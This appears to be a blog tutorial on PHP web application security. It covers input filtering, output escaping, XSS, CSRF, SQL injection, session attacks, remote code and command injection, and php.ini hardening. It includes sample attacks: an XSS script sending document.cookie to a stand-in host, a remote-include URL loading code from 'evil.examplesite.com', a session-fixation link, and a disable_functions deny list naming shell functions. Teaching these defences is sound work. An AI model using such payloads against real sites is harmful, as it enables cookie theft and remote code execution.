Basic principles of Web application security
Some general principles of web security, every web developer needs to know.
As we all know PHP make us rich in internet based application and we are surrounded by a lot of applications and almost all types. As the popularity increases and attacker(threats) also increases in same proportion.
Before analyzing specific attacks and how to protect against them, it is necessary to have a foundation on some basic principles of Web application security, by following these will not provide 100% guarantee but will protect your application from threats and make you aware about the possible attacks. Understanding and practicing these concepts is essential to ensure the security of your applications.
All input(s) is tainted
If the data originates from a foreign source such as user form input,the query string, or even an RSS feed, it cannot be trusted. It is tainted data.
The data in all of PHP’s superglobals arrays should also be considered tainted. This is because either all or some of the data provided in the superglobal arrays comes from an external source. Even the $_SERVER array is not fully safe, because it contains some data provided by the client. The one exception is the $_SESSION superglobal array, which is persisted on the server and never over the Internet.
Before processing tainted data, it is important to filter it. Once the data is filtered, then it is considered safe to use.
Filter Input
Since all input is tainted and cannot be trusted, it is necessary to filter your input to ensure that input received is input expected.
It is possible to implement some client-side validation code using JavaScript to enforce the user input the valid data, but, it is not always possible to force users to use only your form and, thus, your client-side rules. There are lot of ways for a user to remove these validations, therefore server-side filtering is most important for security, while client-side validation is important for usability.
According to me filter the input received with a form, start by initializing a blank array or blank values and populated by the values after filtering the data received.
Filtering places the control firmly in your hands and ensures that your application will not receive bad data. It is first and most important way to keep attackers away from your site.
Escape Output
Filtering ensures the validity of data coming into the application; escaping protects you and your users from potentially harmful attacks. Output must be escaped because clients—Web browsers, database servers, and so on—often take action when encountering special characters. For Web browsers, these special characters form HTML tags; for database servers, they may include quotation marks and SQL keywords.
Therefore, it is necessary to know the intended destination of output and to escape accordingly.
To escape output intended for a Web browser, PHP provides htmlspecialchars() and htmlentities(), the latter being the most exhaustive and, therefore, recommended function for escaping.
Escape output intended for a database server, such as in an SQL statement, with the database-driver-specific *_escape_string() function; when possible, use prepared statements. Since PHP 5.1 includes PHP Data Objects (PDO), you may use prepared statements for all database engines for which there is a PDO driver. If the database engine does not natively support prepared statements, then PDO emulates this feature transparently for you.
Register Globals
It is a php.ini settings and when it found set On, the register_globals configuration directive automatically injects variables into scripts. That is, all variables from the query string, posted forms, session store, cookies, and so on are available in what appear to be locally-named variables.
Thus, if variables are not initialized before use, it is possible for a malicious user to set script variables and compromise an application.
Note that a by-product of having register_globals turned on is that it is impossible to determine the origin of input.
Before PHP 4.2.0, the register_globals configuration directive was set to On by default. Since then, this directive has been set to Off by default; as of PHP 6, it will no longer exist. Check the PHP Changelog for more information or reference.
Website Security
Website security refers to the security of the elements of a website through which an attacker can interface with your application. These vulnerable points of entry include forms and URLs, which are the most likely and easiest candidates for a potential attack.
In short, proper input filtering and output escaping will mitigate most of these risks.
Spoofed Forms
A common method used by attackers is a spoofed form submission. There are various ways to spoof forms, the easiest of which is to simply copy a target form and execute it from a different location. Spoofing a form makes it possible for an attacker to remove all client-side restrictions imposed upon the form in order to submit any and all manner of data to your application.
Despite the fact that spoofed form submissions are hard to prevent, it is not necessary to deny data submitted from sources other than your forms. It is necessary, however, to ensure that all input plays by your validation rules.
Filtering input ensures that all data must conform to a list of acceptable values, and even spoofed forms will not be able to get around your server-side filtering rules.
Cross-Site Scripting
Cross-site scripting (XSS) is one of the most common and best known kinds of attacks.
The simplicity of this attack and the number of vulnerable applications in existence make it very attractive to malicious users. An XSS attack exploits the user’s trust in the application and is usually an effort to steal user information, such as cookies and other personally identifiable data. All applications that display input are at risk.
Consider the following form, a very simple and most common example. It allows a user to add a comment to another user’s profile. After submitting a comment, the page displays all of the comments that were previously submitted, so that everyone can view all of the comments left on the user’s profile.
<form method="POST" action="process.php"> <p>Add a comment:</p> <p><textarea name="comment"></textarea></p> <p><input type="submit" /></p> </form>
Imagine that a malicious user submits a comment on someone’s profile that contains the following content:
<script> document.location = 'http://examplesite.com/getcookies.php?cookies='+ document.cookie; </script>
Now, everyone visiting this user’s profile will be redirected to the given URL and their cookies (including any personally identifiable information and login information) will be appended to the query string. The attacker can easily access the cookies with $_GET[‘cookies’] and store them for later use. This attack works only if the application fails to escape output. Thus, it is easy to prevent this kind of attack with proper output escaping.
Cross-Site Request Forgeries(CSRF)
A cross-site request forgery (CSRF) is an attack that attempts to cause a victim to unknowingly send arbitrary HTTP requests, usually to URLs requiring privileged access and using the existing session of the victim to determine access.
Whereas an XSS attack exploits the user’s trust in an application, a forged request exploits an application’s trust in a user, since the request appears to be legitimate and it is difficult for the application to determine whether the user intended for it to take place. While proper escaping of output will prevent your application from being used as the vehicle for a CSRF attack, it will not prevent your application from receiving forged requests.
Now a days almost all open-sources and frameworks follow the token method, It involves the use of a randomly generated token that is stored in the user’s session when the user accesses the form page and is also placed in a hidden field on the form. The processing script checks the token value from the posted form against the value in the user’s session. If it matches, then the request is valid. If not, then it is suspect and the script should not process the input and, instead, should display an error to the user.
Database Security
When using a database and accepting input to create part of a database query, it is easy to fall victim to an SQL injection attack. SQL injection occurs when a malicious user experiments on a form to gain information about a database. After gaining sufficient knowledge—usually from database error messages—the attacker is equipped to exploit the form for any possible vulnerabilities by injecting SQL into form fields.
SQL injection attacks are possible due to a lack of filtering and escaping. Properly filtering input and escaping the output for SQL will eliminate the risk of attack. To escape output for an SQL query, use the driver-specific *_escape_string() function for your database. If possible, use bound parameters (very much effective).
Session Security
There are two popular forms of session attacks are session fixation and session hijacking.
Session Fixation or Session Riding: whenever user click the link.
<a href="http://examplesite.com/index.php?PHPSESSID=123456">Click here</a>
While the user accesses your site through this session, they may provide sensitive information or even login credentials. If the user logs in while using the provided session identifier, the attacker may be able to “ride” on the same session and gain access to the user’s account.
This is why session fixation is sometimes referred to as “session riding.” Since the purpose of the attack is to gain a higher level of privilege, Every time a user’s access level changes, it is necessary to regenerate the session identifier. PHP makes this a simple task with session_regenerate_id().
session_start(); // If the user login is successful, regenerate the session ID if (authenticated()) { session_regenerate_id(); }
Session hijacking is generic term used to describe any means by which an attacker gains a user’s valid session identifier (rather than providing one of his own).
For example, suppose that a user logs in. If the session identifier is regenerated, they have a new session ID. What if an attacker discovers this new ID and attempts to use it to gain access through that user’s session? It is then necessary to use other means to identify the user.
One way to identify the user in addition to the session identifier is to check various request headers sent by the client. One request header that is particularly helpful and does not change between requests is the User-Agent header. Since it is unlikely (at least in most legitimate cases) that a user will change from one browser to another while using the same session, this header can be used to determine a possible session hijacking attempt.
After a successful login attempt, store the User-Agent into the session:
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
Then, on subsequent page loads, check to ensure that the User-Agent has not changed. If it has changed, then that is cause for concern, and the user should log in again.
if ($_SESSION['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { // Force user to log in again in system exit; }
File System Security
PHP has the ability to directly access the file system and even execute shell commands.
While this affords developers great power, it can be very dangerous when tainted data ends up in a command line.
Remote Code Injection
A remote code injection attack occurs when an attacker is able to cause your application to execute PHP code of their choosing. This can have devastating consequences for both your application and system.
e.g. many applications make use of query string variables to structure the application into sections, such as: http://examplesite.com/?section=news. One such application may use an include statement to include a script to display the “news” section:
include "{$_GET['section']}/data.inc.php";
When using the proper URL to access this section, the script will include the file located at news/data.inc.php. However, consider what might happen if an attacker modified the query string to include harmful code located on a remote site? The following URL illustrates how an attacker can do this:
http://examplesite.com/?section=http%3A%2F%2Fevil.examplesite.com%2Fattack.inc%3F
Now, the tainted section value is injected into the include statement, effectively rendering
it as such:
include "http://evil.examplesite.com/attack.inc?/data.inc.php";
The application will include attack.inc, located on the remote server, which treats /data.inc.php as part of the query string (thus effectively neutralizing its effect within your script). Any PHP code contained in attack.inc is executed and run, causing whatever harm the attacker intended.
Filtering might be as simple as specifying a certain set of expected values for section:
$clean = array(); $sections = array('home', 'news', 'photos', 'blog'); if (in_array($_GET['section'], $sections)) { $clean['section'] = $_GET['section']; } else { $clean['section'] = 'home'; } include "{clean['section']}/data.inc.php";
The allow_url_fopen directive in PHP provides the feature by which PHP can access URLs, treating them like regular files—thus making an attack such as the one described here possible. By default, allow_url_fopen is set to On; however, it is possible to disable it in php.ini, setting it to Off, which will prevent your applications from including or opening remote URLs as files.
Command Injection
PHP provides great power with the exec(), system() and passthru() functions, as well as the ‘ (backtick) operator, these must not be used lightly, and it is important to take great care to ensure that attackers cannot inject and execute arbitrary system commands.
Also, PHP provides escapeshellcmd() and escapeshellarg() as a means to properly escape shell output. When possible, avoid the use of shell commands.
If they are necessary, avoid the use of client input to construct dynamic shell commands.
Shared Hosting
PHP safe_mode will no longer be available as of PHP 6. Still, there are three php.ini directives that remain important in a shared hosting environment: open_basedir, disable_functions, and disable_classes. These directives do not depend upon safe_mode, and they will remain available for the foreseeable future.
The open_basedir directive provides the ability to limit the files that PHP can open to a specified directory tree. When PHP tries to open a file with, for example, fopen() or include, it checks the the location of the file. If it exists within the directory tree specified by open_basedir, then it will succeed; otherwise, it will fail to open the file.
You may set the open_basedir directive in php.ini or on a per-virtual-host basis in httpd.conf.
In the following httpd.conf virtual host example, PHP scripts may only open files located in the /home/user/www and /usr/local/lib/php directories (the latter is often the location of the PEAR library):
<VirtualHost *> DocumentRoot /home/user/www ServerName www.examplesite.com <Directory /home/user/www> php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/" </Directory> </VirtualHost>
The disable_functions and disable_classes directives work similarly, allowing you to disable certain native PHP functions and classes for security reasons. Any func tions or classes listed in these directives will not be available to PHP applications running on the system. You may only set these in php.ini.
The following example illustrates the use of these directives to disable specific functions and classes:
; Disable functions disable_functions = exec,passthru,shell_exec,system ; Disable classes disable_classes = DirectoryIterator,Directory
Despite the many ways your applications can be attacked, for simple words can sum up most solutions to Web application security problems (though not all): filter input, escape output.
However, the responsibility is yours 😯